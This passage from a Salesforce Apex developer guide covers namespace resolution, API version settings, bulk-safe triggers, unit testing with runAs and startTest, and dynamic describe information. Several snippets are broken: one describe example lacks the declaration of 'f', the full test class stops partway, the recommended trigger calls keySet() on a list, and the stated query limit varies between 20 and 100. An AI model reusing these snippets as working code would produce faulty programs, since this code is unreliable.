Because these fully-qualified names can be onerous to update in working SOQL statements, SOSL statements, and Apex once a class is marked as “managed,” Apex supports a default namespace for schema names. When looking at identifiers, the parser considers the namespace of the current object and then assumes that it is the namespace of all other objects and fields unless otherwise specified. Consequently, a stored class should refer to custom object and field names directly (using `obj_or_field_name__c`) for those objects that are defined within its same application namespace.
Tip: Only use namespace prefixes when referring to custom objects and fields in managed packages that have been installed to your organization from the AppExchange.

**Using Namespaces When Invoking Methods**

To invoke a method that is defined in a managed package, Apex allows fully-qualified identifiers of the form:

```
namespace_prefix.class.method(args)
```

Use the special namespace `System` to disambiguate the built-in static classes from any user-defined ones (for example, `System.System.debug()`).

Without the `System` namespace prefix, system static class names such as `Math` and `System` can be overridden by user-defined classes with the same name, as outlined below.

Tip: Only use namespace prefixes when invoking methods in managed packages that have been installed to your organization from the AppExchange.

**Namespace, Class, and Variable Name Precedence**

Because local variables, class names, and namespaces can all hypothetically use the same identifiers, the Apex parser evaluates expressions in the form of `name1.name2.[...].nameN` as follows:

1. The parser first assumes that `name1` is a local variable with `name2 - nameN` as field references.
2. If the first assumption does not hold true, the parser then assumes that `name1` is a class name and `name2` is a static variable name with `name3 - nameN` as field references.
3. If the second assumption does not hold true, the parser then assumes that `name1` is a namespace name, `name2` is a class name, `name3` is a static variable name, and `name4 - nameN` are field references.
4. If the third assumption does not hold true, the parser reports an error.

If the expression ends with a set of parentheses (for example, `name1.name2.[...].nameM.nameN()`), the Apex parser evaluates the expression as follows:

1. The parser first assumes that `name1` is a local variable with `name2 - nameM` as field references, and `nameN` as a method invocation.
2. If the first assumption does not hold true:
   - If the expression contains only two identifiers (`name1.name2()`), the parser then assumes that `name1` is a class name and `name2` is a method invocation.
   - If the expression contains more than two identifiers, the parser then assumes that `name1` is a class name, `name2` is a static variable name with `name3 - nameM` as field references, and `nameN` is a method invocation.
3. If the second assumption does not hold true, the parser then assumes that `name1` is a namespace name, `name2` is a class name, `name3` is a static variable name, `name4 - nameM` are field references, and `nameN` is a method invocation.
4. If the third assumption does not hold true, the parser reports an error.

However, with class variables Apex also uses dot notation to reference member variables. Those member variables might refer to other class instances, or they might refer to an sObject which has its own dot notation rules to refer to field names (possibly navigating foreign keys).

Once you enter an sObject field in the expression, the remainder of the expression stays within the sObject domain, that is, sObject fields cannot refer back to Apex expressions.
For instance, if you have the following class:

```java
public class c {
    c1 c1 = new c1();
    class c1 { c2 c2; }
    class c2 { Account a; }
}
```

Then the following expressions are all legal:

- `c.c1.c2.a.name`
- `c.c1.c2.a.owner.lastName.toLowerCase()`
- `c.c1.c2.a.tasks`
- `c.c1.c2.a.contacts.size()`

**Type Resolution and System Namespace for Types**

Because the type system must resolve user-defined types defined locally or in other classes, the Apex parser evaluates types as follows:

1. For a type reference `TypeN`, the parser first looks up that type as a scalar type.
2. If `TypeN` is not found, the parser looks up locally defined types.
3. If `TypeN` still is not found, the parser looks up a class of that name.
4. If `TypeN` still is not found, the parser looks up system types such as sObjects.

For the type `T1.T2` this could mean an inner type `T2` in a top-level class `T1`, or it could mean a top-level class `T2` in the namespace `T1` (in that order of precedence).

**Version Settings**

To aid backwards-compatibility, classes and triggers are stored with the version settings for a specific Salesforce API version. If an Apex class or trigger references components, such as a custom object, in installed managed packages, the version settings for each managed package referenced by the class are saved too. This ensures that as Apex, the API, and the components in managed packages evolve in subsequent released versions, a class or trigger is still bound to versions with specific, known behavior.

Setting a version for an installed package determines the exposed interface and behavior of any Apex code in the installed package. This allows you to continue to reference Apex that may be deprecated in the latest version of an installed package, if you installed a version of the package before the code was deprecated.

Typically, you reference the latest Salesforce API version and each installed package version. If you save an Apex class or trigger without specifying the Salesforce API version, the class or trigger is associated with the latest installed version by default. If you save an Apex class or trigger that references a managed package without specifying a version of the managed package, the class or trigger is associated with the latest installed version of the managed package by default.

**Setting the Salesforce API Version for Classes and Triggers**

To set the Salesforce API and Apex version for a class or trigger:

1. Edit either a class or trigger, and click **Version Settings**.
2. Select the Version of the Salesforce API. This is also the version of Apex associated with the class or trigger.
3. Click **Save**.
If you pass an object as a parameter in a method call from one Apex class, C1, to another class, C2, and C2 has different fields exposed due to the Salesforce API version setting, the fields in the objects are controlled by the version settings of C2.

Using the following example, the Categories field is set to null after calling the insertIdea method in class C2 from a method in the test class C1, because the Categories field is not available in version 13.0 of the API.

The first class is saved using Salesforce API version 13.0:

```java
// This class is saved using Salesforce API version 13.0
// Version 13.0 does not include the Idea.categories field
global class C2
{
    global Idea insertIdea(Idea a) {
        insert a; // category field set to null on insert
        // retrieve the new idea
        Idea insertedIdea = [SELECT title FROM Idea WHERE Id =:a.id];
        return insertedIdea;
    }
}
```

The following class is saved using Salesforce API version 16.0:

```java
@isTest
// This class is bound to API version 16.0 by Version Settings
private class C1
{
    static testMethod void testC2Method() {
        Idea i = new Idea();
        i.CommunityId = '09aD000000004YCIAY';
        i.Title = 'Testing Version Settings';
        i.body = 'Categories field is included in API version 16.0';
        i.categories = 'test';
        C2 c2 = new C2();
        Idea returnedIdea = c2.insertIdea(i);
        Idea ideaMoreFields = [SELECT title, categories FROM Idea WHERE Id = :returnedIdea.id];
        // assert that the categories field from the object created
        // in this class is not null
        System.assert(i.categories != null);
        // assert that the categories field created in C2 is null
        System.assert(ideaMoreFields.categories == null);
    }
}
```

### Setting Package Versions for Apex Classes and Triggers

To configure the package version settings for a class or trigger:

1. Edit either a class or trigger, and click **Version Settings**.
2. Select a **Version** for each managed package referenced by the class or trigger. This version of the managed package will continue to be used by the class or trigger if later versions of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that is not already associated with the class or trigger.
3. Click **Save**.
Note the following when working with package version settings:

- If you save an Apex class or trigger that references a managed package without specifying a version of the managed package, the Apex class or trigger is associated with the latest installed version of the managed package by default.
- You cannot Remove a class or trigger's version setting for a managed package if the package is referenced in the class or trigger. Use **Show Dependencies** to find where a managed package is referenced by a class or trigger.
Like all programming languages, developers can use either good or bad design patterns. The purpose of this chapter is to illustrate the difference between the two, highlighting best practices and identifying common pitfalls.

**Triggers and Bulk Requests**

A common development pitfall is the assumption that trigger invocations never include more than one record. Apex triggers are optimized to operate in bulk, which, by definition, requires developers to write logic that supports bulk operations.

The following is an example of a flawed programming pattern. It assumes that only one record is pulled in during a trigger invocation. While this might support most user interface events, it does not support bulk operations invoked through the Force.com Web services API or Visualforce.

```apex
trigger MileageTrigger on Mileage__c (before insert, before update) {
    user c = [SELECT Id FROM user where mileageid__c = trigger.new[0].id];
}
```

The following is another example of a flawed programming pattern. It assumes that less than 20 records are pulled in during a trigger invocation. If more than 20 records are pulled into this request, the trigger would exceed the SOQL query limit of 20 SELECT statements:

```apex
trigger MileageTrigger on Mileage__c (before insert, before update) {
    for(mileage__c m : trigger.new){
        user c = [SELECT Id FROM user where mileageid__c = m.id];
    }
}
```

For more information on governor limits, see [Understanding Execution Governors and Limits](#) on page 188.

The following example demonstrates the correct pattern to support the bulk nature of triggers while respecting the governor limits:

```apex
Trigger MileageTrigger on Mileage__c (before insert, before update) {
    set<ID> ids = Trigger.new.keySet();
    list<user> c = [SELECT Id FROM user WHERE mileageid__c in :ids];
}
```

This pattern respects the bulk nature of the trigger by passing the `Trigger.new` collection to a set, then using the set in a single SOQL query. This pattern captures all incoming records within the request while limiting the number of SOQL queries.

**Best Practices for Designing Bulk Programs**

The following are the best practices for this design pattern:
- Minimize the number of data manipulation language (DML) operations by adding records to collections and performing DML operations against these collections.
- Minimize the number of SOQL statements by preprocessing records and generating sets, which can be placed in single SOQL statement used with the `IN` clause.
Chapter 6

Testing Apex

In this chapter ...

• Understanding Testing in Apex
• Unit Testing Apex
• Running Unit Test Methods
• Testing Best Practices
• Testing Example

This chapter provides an overview of what to test, as well as the tools that are available on the Force.com platform for testing Apex.

• Understanding Testing in Apex
• Unit Testing Apex
• Running Unit Test Methods
• Testing Best Practices
• Testing Example
Understanding Testing in Apex

Testing is the key to successful long term development, and is a critical component of the development process. salesforce.com strongly recommends that you use a test-driven development process, that is, test development that occurs at the same time as code development.

Why Test Apex?

Testing is key to the success of your application, particularly if your application is to be deployed to customers. If you validate that your application works as expected, that there are no unexpected behaviors, your customers are going to trust you more.

There are two ways of testing an application. One is through the Salesforce user interface, important, but merely testing through the user interface will not catch all of the use cases for your application. The other way is to test for bulk functionality: up to 200 records can be passed through your code if it’s invoked using the Force.com Web services API or by a Visualforce standard set controller.

An application is seldom finished. You will have additional releases of it, where you change and extend functionality. If you have written comprehensive tests, you can ensure that a regression is not introduced with any new functionality.

Before you can deploy your code or package it for the Force.com AppExchange, the following must be true:

- 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.

  Note the following:
  - When deploying to a production organization, every unit test in your organization namespace is executed.
  - Calls to System.debug are not counted as part of Apex code coverage in unit tests.
  - While only 75% of your Apex code must be covered by tests, your focus shouldn’t be on the percentage of code that is covered. Instead, you should make sure that every use case of your application is covered, including positive and negative cases, as well as bulk and single record. This should lead to 75% or more of your code being covered by unit tests.

- Every trigger has some test coverage.
- All classes and triggers compile successfully.

Calls to System.debug are not counted as part of Apex code coverage in unit tests.

Salesforce runs all tests in all organizations with Apex scripts to verify that no behavior has been altered as a result of any service upgrades.

What to Test in Apex

Salesforce.com recommends that you write tests for the following:

Single action
  Test to verify that a single record produces the correct, expected result.

Bulk actions
  Every Apex script, whether a trigger, a class or an extension, may be invoked for 1 to 200 records. You must test not only the single record case, but the bulk cases as well.

Positive behavior
  Test to verify that the expected behavior occurs through every expected permutation, that is, that the user filled out everything correctly and did not go past the limits.
Negative behavior

There are likely limits to your applications, such as not being able to add a future date, not being able to specify a negative amount, and so on. You must test for the negative case and verify that the error messages are correctly produced as well as for the positive, within the limits cases.

Restricted user

Test whether a user with restricted access to the sObjects used in your code sees the expected behavior. That is, whether they can run the code or receive error messages.

**Note:** Conditional and ternary operators are not considered executed unless both the positive and negative branches are executed.

For examples of these types of tests, see Testing Example on page 137.

## Unit Testing Apex

To facilitate the development of robust, error-free code, Apex supports the creation and execution of *unit tests*. Unit tests are class methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to the database, send no emails, and are flagged with the `testMethod` keyword in the method definition.

For example:

```java
public class myClass {
    static testMethod void myTest() {
        code_block
    }
}
```

**Note:** Test methods cannot be used to test Web service callouts. Web service callouts are asynchronous, while unit tests are synchronous.

### Using the `runAs` Method

Generally, all Apex scripts run in system mode, and the permissions and record sharing of the current user are not taken into account. The system method `runAs` enables you to write test methods that change either the user contexts to an existing user or a new user, or to run using the code from a specific version of a managed package. When running as a user, all of that user’s record sharing is then enforced. You can only use `runAs` in a test method. The original system context is started again after all `runAs` test methods complete. For information on using the `runAs` method and specifying a package version context, see Testing Behavior in Package Versions on page 196.

**Note:** Every call to `runAs` counts against the total number of DML statements issued in the process.

In the following example, a new test user is created, then code is run as that user, with that user’s permissions and record access:

```java
public class TestRunAs {
    public static testMethod void testRunAs() {
        // Setup test data
        // This code runs as the system user
```
Profile p = [select id from profile where name='Standard User'];
User u = new User(alias = 'standt', email='standarduser@testorg.com',
emailencodingkey='UTF-8', lastname='Testing', languagelocalkey='en_US',
localesidkey='en_US', profileid = p.Id,
timezonesidkey='America/Los_Angeles', username='standarduser@testorg.com');

System.runAs(u) {
    // The following code runs as user 'u'
    System.debug('Current User: ' + UserInfo.getUserName());
    System.debug('Current Profile: ' + UserInfo.getProfileId());
}

You can nest more than one runAs method. For example:

public class TestRunAs2 {

    public static testMethod void test2() {

        Profile p = [SELECT Id FROM profile WHERE name='Standard User'];
        User u2 = new User(alias = 'newUser', email='newuser@testorg.com',
        emailencodingkey='UTF-8', lastname='Testing', languagelocalkey='en_US',
        localesidkey='en_US', profileid = p.Id,
        timezonesidkey='America/Los_Angeles', username='newuser@testorg.com');

        System.runAs(u2) {
            // The following code runs as user u2.
            System.debug('Current User: ' + UserInfo.getUserName());
            System.debug('Current Profile: ' + UserInfo.getProfileId());

            // The following code runs as user u3.
            User u3 = [select id from user where username='newuser@testorg.com'];
            System.runAs(u3) {
                System.debug('Current User: ' + UserInfo.getUserName());
                System.debug('Current Profile: ' + UserInfo.getProfileId());
            }
        }

        // Any additional code here would run as user u2.
    }
}

Best Practices for Using runAs

The following items use the permissions granted by the user specified with runAs running as a specific user:

- Dynamic Apex
- Methods using with sharing or without sharing
- Shared records

The original permissions are reset after runAs completes.

The runAs method ignores user license limits. You can create new users with runAs even if your organization has no additional user licenses.

Using Limits, startTest, and stopTest

The Limits methods return the specific limit for the particular governor, such as the number of calls of a method or the amount of heap size remaining.
There are two versions of every method: the first returns the amount of the resource that has been used in the current context, while the second version contains the word "limit" and returns the total amount of the resource that is available for that context. For example, getCallouts returns the number of callouts to an external service that have already been processed in the current context, while getLimitCallouts returns the total number of callouts available in the given context.

In addition to the Limits methods, use the startTest and stopTest methods to validate how close the code is to reaching governor limits.

The startTest method marks the point in your test code when your test actually begins. Each testMethod is allowed to call this method only once. All of the code before this method should be used to initialize variables, populate data structures, and so on, allowing you to set up everything you need in order to run your test. After you call this method, the limits that get applied are based on either the first DML statement (like INSERT, DELETE, and so on) or the first Web service invocation.

The startTest method does not refresh the context of the test: it adds a context to your test. For example, if your class makes 98 SOQL queries before it calls startTest, and the first significant statement after startTest is a DML statement, the program can now make an additional 100 queries. Once stopTest is called, however, the program goes back into the original context, and can only make 2 additional SOQL queries before reaching the limit of 100.

The stopTest method marks the point in your test code when your test ends. Use this method in conjunction with the startTest method. Each testMethod is allowed to call this method only once. After calling this method, any post assertions are done in the original context. All asynchronous calls made after the startTest method are collected by the system. When stopTest is executed, all asynchronous processes are run synchronously.

Adding SOSL Queries to Unit Tests

To ensure that test methods always behave in a predictable way, any Salesforce Object Search Language (SOSL) query that is added to an Apex test method returns an empty set of search results when the test method executes. If you do not want the query to return an empty list of results, you can use the Test.setFixedSearchResults system method to define a list of record IDs that are returned by the search. All SOSL queries that take place later in the test method return the list of record IDs that were specified by the Test.setFixedSearchResults method. Additionally, the test method can call Test.setFixedSearchResults multiple times to define different result sets for different SOSL queries. If you do not call the Test.setFixedSearchResults method in a test method, or if you call this method without specifying a list of record IDs, any SOSL queries that take place later in the test method return an empty list of results.

The list of record IDs specified by the Test.setFixedSearchResults method replaces the results that would normally be returned by the SOSL query if it were not subject to any WHERE or LIMIT clauses. If these clauses exist in the SOSL query, they are applied to the list of fixed search results. For example:

```java
public class SoslFixedResultsTest1 {
    public static testMethod void testSoslFixedResults() {
        Id [] fixedSearchResults= new Id[1];
        fixedSearchResults[0] = '001x0000003G89h';
        Test.setFixedSearchResults(fixedSearchResults);
        List<List<SObject>> searchList = [FIND 'test'
            IN ALL FIELDS RETURNING
            Account{id, name WHERE name = 'test' LIMIT 1}];
    }
}
```

Although the account record with an ID of 001x0000003G89h may not match the query string in the FIND clause ("test"), the record is passed into the RETURNING clause of the SOSL statement. If the record with ID 001x0000003G89h matches the WHERE clause filter, the record is returned. If it does not match the WHERE clause, no record is returned.
Running Unit Test Methods

You can run unit tests for:

- a specific class
- a subset of classes
- all unit tests in your organization

You can use either the Apex Test Execution page or the Salesforce user interface to run tests.

**Note:** Apex Test Execution and Apex Test Results are part of a pilot program. To enable these tools for your organization, contact salesforce.com.

To use the Apex Test Execution page:

1. Click *Your Name ➤ Setup ➤ Develop ➤ Apex Test Execution*.
2. Click *Run Tests*...
3. Either select individual tests or select all, then click *Run*.
4. Click *Refresh* to update the status of the running tests. The test results don't automatically refresh.

After you run tests using the Apex Test Execution page, you can display the percentage of code covered by those tests on the list of Apex classes. Click *Your Name ➤ Setup ➤ Develop ➤ Apex Classes*, then click *Calculate your organization's code coverage*.

You can also verify which lines of code are covered by tests for an individual class. Click *Your Name ➤ Setup ➤ Develop ➤ Apex Classes*, then click the percentage number in the Code Coverage column for a class.

Click *Your Name ➤ Setup ➤ Develop ➤ Apex Test Results* to view all test results for your organization, not just tests that you have run. Test results are retained for 30 days after they finish running, unless cleared.

If you cannot access the Apex Test Execution page, use the Salesforce user interface to run tests.

To use the Salesforce user interface to generate test results, click *Your Name ➤ Setup ➤ Develop ➤ Apex Classes*, then either click *Run All Tests* or click the name of a specific class that contains tests and click *Run Test*.

After you use the Salesforce user interface to generate test results, the test result page contains the following sections. Each section can be expanded or collapsed.

- A summary section that details the number of tests run, the number of failures, and the percentage of Apex code that is covered by unit tests.
Important:
- You must have at least 75% of your Apex covered by unit tests to deploy your code to production environments. In addition, all triggers should have some test coverage.
- Salesforce recommends that you have 100% of your code covered by unit tests, where possible.
- Calls to System.debug are not counted as part of Apex code coverage in unit tests.

- Test failures, if any.
- A code coverage section.

This section lists all the classes and triggers in your organization, and the percentage of lines of code in each class and trigger that are covered by tests. If you click the coverage percent number, a page displays, highlighting all the lines of code for that class or trigger that are covered by tests in blue, as well as highlighting all the lines of code that are not covered by tests in red. It also lists how many times a particular line in the class or trigger was executed by the test.

- Test coverage warnings, if any.
- Debug log.

The debug log is automatically set to specific log levels and categories, which can't be changed.

<table>
<thead>
<tr>
<th>Category</th>
<th>Level</th>
</tr>
</thead>
<tbody>
<tr>
<td>Database</td>
<td>INFO</td>
</tr>
<tr>
<td>Apex Code</td>
<td>FINE</td>
</tr>
<tr>
<td>Apex Profiling</td>
<td>INFO</td>
</tr>
<tr>
<td>Workflow</td>
<td>INFO</td>
</tr>
<tr>
<td>Validation</td>
<td>INFO</td>
</tr>
</tbody>
</table>

In addition, you can execute tests with the Force.com IDE (see [https://wiki.developerforce.com/index.php/Apex_Toolkit_for_Eclipse](https://wiki.developerforce.com/index.php/Apex_Toolkit_for_Eclipse)).

You can also use the runTests() call from the Web services API:

```
RunTestsResult[] runTests(RunTestsRequest ri)
```

This call allows you to run all tests in all classes, all tests in a specific namespace, or all tests in a subset of classes in a specific namespace, as specified in the RunTestsRequest object. It returns the following:

- total number of tests that ran
- code coverage statistics (described below)
- error information for each failed test
- information for each test that succeeds
- time it took to run the test

For more information on runTests(), see the WSDL located at [https://your_salesforce_server/services/wsd1/apex](https://your_salesforce_server/services/wsd1/apex), where your_salesforce_server is equivalent to the server on which your organization is located, such as na1.salesforce.com.

Though administrators in a Salesforce production organization cannot make changes to Apex scripts using the Salesforce user interface, it is still important to use runTests() to verify that the existing unit tests run to completion after a change is made, such as adding a unique constraint to an existing field. Salesforce production organizations must use the compileAndTest API call to make changes to Apex scripts. For more information, see Deploying Apex Scripts on page 431.
For more information on `runTests()`, see Web Services API Calls and SOAP Headers for Apex on page 460.

Testing Best Practices

Good tests should do the following:

- Cover as many lines of code as possible.
  
  **Important:**
  - You must have at least 75% of your Apex covered by unit tests to deploy your code to production environments. In addition, all triggers must have some test coverage.
  - Salesforce recommends that you have 100% of your code covered by unit tests, where possible.
  - Calls to `System.debug` are not counted as part of Apex code coverage in unit tests.

- In the case of conditional logic (including ternary operators), execute each branch of code logic.
- Make calls to methods using both valid and invalid inputs.
- Complete successfully without throwing any exceptions, unless those errors are expected and caught in a `try...catch` block.
- Always handle all exceptions that are caught, instead of merely catching the exceptions.
- Use `System.assert` methods to prove that code behaves properly.
- Use the `runAs` method to test your application in different user contexts.
- Use the `isTest` annotation. Classes defined with the `isTest` annotation do not count against your organization limit of 2 MB for all Apex scripts.
- Exercise bulk trigger functionality—use at least 20 records in your tests.
- Use the `ORDER BY` keywords to ensure that the records are returned in the expected order.
- Not assume that record IDs are in sequential order.

  Record IDs are not created in ascending order unless you insert multiple records with the same request. For example, if you create an account A, and receive the ID `001D000000IEEmT`, then create account B, the ID of account B may or may not be sequentially higher.

- On the list of Apex classes, there is a Code Coverage column. If you click the coverage percent number, a page displays, highlighting all the lines of code for that class or trigger that are covered by tests in blue, as well as highlighting all the lines of code that are not covered by tests in red. It also lists how many times a particular line in the class or trigger was executed by the test.
- Set up test data:
  - Create the necessary data in test classes, so the tests do not have to rely on data in a particular organization
  - Create all test data before calling the `starttest` method
  - Since tests don't commit, you won't need to delete any data

- Write comments stating not only what is supposed to be tested, but the assumptions the tester made about the data, the expected outcome, and so on.
- Test the classes in your application individually. Never test your entire application in a single test.

If you are running many tests, consider the following:

- In the Force.com IDE, you may need to increase the Read timeout value for your Apex project. See [https://wiki.developerforce.com/index.php/Apex_Toolkit_for_Eclipse](https://wiki.developerforce.com/index.php/Apex_Toolkit_for_Eclipse) for details.
- In the Salesforce user interface, you may need to test the classes in your organization individually, instead of trying to run all of the tests at the same time using the Run All Tests button.
The following example includes cases for the following types of tests:

- Positive case with single and multiple records
- Negative case with single and multiple records
- Testing with other users

The test is used with a simple mileage tracking application. The existing code for the application verifies that not more than 500 miles are entered in a single day. The primary object is a custom object named Mileage__c. Here is the entire test class. The following sections step through specific portions of the code.

```apex
@isTest
class MileageTrackerTestSuite {
    testMethod void runPositiveTestCases() {
        Double totalMiles = 0;
        final Double maxtotalMiles = 500;
        final Double singletotalMiles = 300;
        final Double u2Miles = 100;

        //Setup User
        User u1 = [select id from User where alias='auser'];

        //Run As U1
        System.RunAs(u1){
            System.debug('Inserting 300 miles... (single record validation)');
            Mileage__c testMiles1 = new Mileage__c(Miles__c = 300, Date__c = System.today());
            insert testMiles1;

            // validate single insert
            for(Mileage__c m:[SELECT miles__c FROM Mileage__c
                WHERE createdDate = TODAY
                and createdById = :u1.id
                and miles__c != null]) {
                totalMiles += m.miles__c;
            }
            System.assertEquals(singletotalMiles, totalMiles);

            //validate bulk
            totalMiles = 0;
            System.debug('Inserting 200 mileage records... (bulk validation)');
            List<Mileage__c> testMiles2 = new List<Mileage__c>();
            for(integer i=0; i<200; i++) {
                testMiles2.add( new Mileage__c(Miles__c = 1, Date__c = System.today()) );
            }
            insert testMiles2;

            for(Mileage__c m:[SELECT miles__c FROM Mileage__c
                WHERE createdDate = TODAY
                and createdById = :u1.id
                and miles__c != null]) {
```
Positive Test Case

The following steps through the above code, in particular, the positive test case for single and multiple records.
1. Add text to the debug log, indicating the next step of the script:
   
   ```system.debug('Inserting 300 more miles...single record validation');```

2. Create a Mileage__c object and insert it into the database.
   
   ```Mileage__c testMiles1 = new Mileage__c(Miles__c = 300, Date__c = System.today());
   insert testMiles1;```

3. Validate the code by returning the inserted records:
   
   ```for(Mileage__c m:[SELECT miles__c FROM Mileage__c
   WHERE createdDate = TODAY
   and createdById = :createdbyId
   and miles__c != null)
   { totalMiles += m.miles__c; }
   ```

4. Use the `system.assertEquals` method to verify that the expected result is returned:
   
   ```System.assertEquals(singletotalMiles, totalMiles);```

5. Before moving to the next test, set the number of total miles back to 0:
   
   ```totalMiles = 0;```

6. Validate the code by creating a bulk insert of 200 records.

   First, add text to the debug log, indicating the next step of the script:
   
   ```System.debug('Inserting 200 Mileage records...bulk validation');```

7. Then insert 200 Mileage__c records:
   
   ```List<Mileage__c> testMiles2 = new List<Mileage__c>();
   for(integer i=0; i<200; i++){
   testMiles2.add(new Mileage__c(Miles__c = 1, Date__c = System.today()));
   }
   insert testMiles2;```

8. Use `System.assertEquals` to verify that the expected result is returned:
   
   ```for(Mileage__c m:[SELECT miles__c FROM Mileage__c
   WHERE createdDate = TODAY
   and createdById = :createdbyId
   and miles__c != null)
   { totalMiles += m.miles__c; }
   System.assertEquals(maxtotalMiles, totalMiles);```

**Negative Test Case**

The following steps through the above code, in particular, the negative test case.
1. Create a static test method called runNegativeTestCases:
   
   ```
   static testMethod void runNegativeTestCases()
   ```

2. Add text to the debug log, indicating the next step of the script:
   
   ```
   System.debug('Inserting 501 miles... negative test case');
   ```

3. Create a Mileage__c record with 501 miles.
   
   ```
   Mileage__c testMiles3 = new Mileage__c(Miles__c = 501, Date__c = System.today());
   ```

4. Place the insert statement within a try/catch block. This allows you to catch the validation exception and assert the generated error message.
   
   ```
   try {
      insert testMiles3;
   } catch (DmlException e) {
   ```

5. Now use the System.assert and System.assertEquals to do the testing. Add the following code to the catch block you previously created:
   
   ```
   //Assert Error Message
   System.assert(e.getMessage().contains('Insert failed. First exception '+
      'on row 0; first error: FIELD_CUSTOM_VALIDATION_EXCEPTION, '+
      'Mileage request exceeds daily limit(500): [Miles__c]'),
      e.getMessage());

   //Assert Field
   System.assertEquals(Mileage__c.Miles__c, e.getDmlFields(0)[0]);

   //Assert Status Code
   System.assertEquals('FIELD_CUSTOM_VALIDATION_EXCEPTION' ,
      e.getDmlStatusCode(0));
   ```

**Testing as a Second User**

The following steps through the above code, in particular, running as a second user.

1. Before moving to the next test, set the number of total miles back to 0:
   
   ```
   totalMiles = 0;
   ```

2. Set up the next user.
   
   ```
   User u2 = [select id from User where alias='tuser'];
   System.RunAs(u2){
   ```
3. Add text to the debug log, indicating the next step of the script:

```
System.debug('Setting up testing - deleting any mileage records for ' +
    UserInfo.getUserName() +
    ' from today');
```

4. Then insert one Mileage__c record:

```
Mileage__c testMiles3 = new Mileage__c(Miles__c = 100, Date__c = System.today());
insert testMiles3;
```

5. Validate the code by returning the inserted records:

```
for(Mileage__c m:[SELECT miles__c FROM Mileage__c
    WHERE createdDate = TODAY
    and createdById = :u2.Id
    and miles__c != null]) {
    totalMiles += m.miles__c;
}
```

6. Use the `system.assertEquals` method to verify that the expected result is returned:

```
System.assertEquals(u2Miles, totalMiles);
```
Chapter 7
Dynamic Apex

In this chapter ...
- Understanding Apex Describe Information
- Dynamic SOQL
- Dynamic SOSL
- Dynamic DML

Dynamic Apex enables developers to create more flexible applications by providing them with the ability to:

- Access sObject and field describe information
  
  Describe information provides information about sObject and field properties. For example, the describe information for an sObject includes whether that type of sObject supports operations like create or undelete, the sObject’s name and label, the sObject’s fields and child objects, and so on. The describe information for a field includes whether the field has a default value, whether it is a calculated field, the type of the field, and so on.

  Note that describe information provides information about objects in an organization, not individual records.

- Write dynamic SOQL queries, dynamic SOSL queries and dynamic DML
  
  Dynamic SOQL and SOSL queries provide the ability to execute SOQL or SOSL as a string at runtime, while dynamic DML provides the ability to create a record dynamically and then insert it into the database using DML. Using dynamic SOQL, SOSL, and DML, an application can be tailored precisely to the organization as well as the user’s permissions. This can be useful for applications that are installed from Force.com AppExchange.
Understanding Apex Describe Information

Apex provides two data structures for sObject and field describe information:

- **Token**—a lightweight, serializable reference to an sObject or a field that is validated at compile time.
- **Describe result**—an object that contains all the describe properties for the sObject or field. Describe result objects are not serializable, and are validated at runtime.

It is easy to move from a token to its describe result, and vice versa. Both sObject and field tokens have the method `getDescribe` which returns the describe result for that token. On the describe result, the `getSObjectType` and `getSObjectField` methods return the tokens for sObject and field, respectively.

Because tokens are lightweight, using them can make your code faster and more efficient. For example, use the token version of an sObject or field when you are determining the type of an sObject or field that your code needs to use. The token can be compared using the equality operator (==) to determine whether an sObject is the Contact object, for example, or whether a field is the Name field or a custom calculated field.

The following code provides a general example of how to use tokens and describe results to access information about sObject and field properties:

```java
// Create a new account as the generic type sObject
sObject s = new Account();

// Verify that the generic sObject is an Account sObject
System.assert(s.getSObjectType() == Account.sObjectType);

// Get the sObject describe result for the Account object
Schema.DescribeSObjectResult r = Account.sObjectType.getDescribe();

// Get the field describe result for the Name field on the Account object

// Verify that the field token is the token for the Name field on an Account object
System.assert(f.getSObjectField() == Account.Name);

// Get the field describe result from the token
f = f.getSObjectField().getDescribe();
```

The following algorithm shows how you can work with describe information in Apex:

1. Generate a list or map of tokens for the sObjects in your organization (see Accessing All sObjects on page 146)
2. Determine the sObject you need to access
3. Generate the describe result for the sObject
4. If necessary, generate a map of field tokens for the sObject (see Accessing All Field Describe Results for an sObject on page 146)
5. Generate the describe result for the field the code needs to access

Understanding Describe Information Permissions

Apex generally runs in system mode. All classes and triggers that are not included in a package, that is, are native to your organization, have no restrictions on the sObjects that they can look up dynamically. This means that with native code, you can generate a map of all the sObjects for your organization, regardless of the current user’s permission.

Dynamic Apex, contained in managed packages created by salesforce.com ISV partners that are installed from Force.com AppExchange, have restricted access to any sObject outside the managed package. Partners can set the API Access value within the package to grant access to standard sObjects not included as part of the managed package. While Partners can...
request access to standard objects, custom objects are not included as part of the managed package and can never be referenced or accessed by dynamic Apex that is packaged.

For more information, see “About API and Dynamic Apex Access in Packages” in the Salesforce online help.

**Using sObject Tokens**

SObjects, such as Account and MyCustomObject__c, act as static classes with special static methods and member variables for accessing token and describe result information. You must explicitly reference an sObject and field name at compile time to gain access to the describe result.

To access the token for an sObject, use one of the following methods:

- Access the sObjectType member variable on an sObject type, such as Account
- Call the getSObjectType method on an sObject describe result, an sObject variable, a list, or a map

Schema.sObjectType is the data type for an sObject token.

In the following example, the token for the Account sObject is returned:

```java
Schema.sObjectType t = Account.sObjectType;
```

The following also returns a token for the Account sObject:

```java
Account A = new Account();
Schema.sObjectType T = A.getSObjectType();
```

This example can be used to determine whether an sObject or a list of sObjects is of a particular type:

```java
public class sObjectTest {
    {
        // Create a generic sObject variable s
        SObject s = Database.query('select id from account limit 1');

        // Verify if that sObject variable is an Account token
        System.assertEquals(s.getSObjectType(), Account.sObjectType);

        // Create a list of generic sObjects
        List<sObject> l = new Account[]{};

        // Verify if the list of sObjects contains Account tokens
        System.assertEquals(l.getSObjectType(), Account.sObjectType);
    }
}
```

Some standard sObjects have a field called sObjectType, for example, AssignmentRule, QueueSObject, and RecordType. For these types of sObjects, always use the getSObjectType method for retrieving the token. If you use the property, for example, RecordType.sObjectType, the field is returned.

**Using sObject Describe Results**

To access the describe result for an sObject, use one of the following methods:

- Call the getDescribe method on an sObject token
- Use the Schema.sObjectType static variable with the name of the sObject. For example, Schema.sObjectType.Lead

Schema.DescribeSObjectResult is the data type for an sObject describe result.
The following example uses the `getDescribe` method on an sObject token:

```
Schema.DescribeSObjectResult D = Account.sObjectType.getDescribe();
```

The following example uses the `sObjectType` static member variable:

```
Schema.DescribeSObjectResult D = Schema.SObjectType.Account;
```

For more information about the methods available with the sObject describe result, see `sObject Describe Result Methods` on page 276.

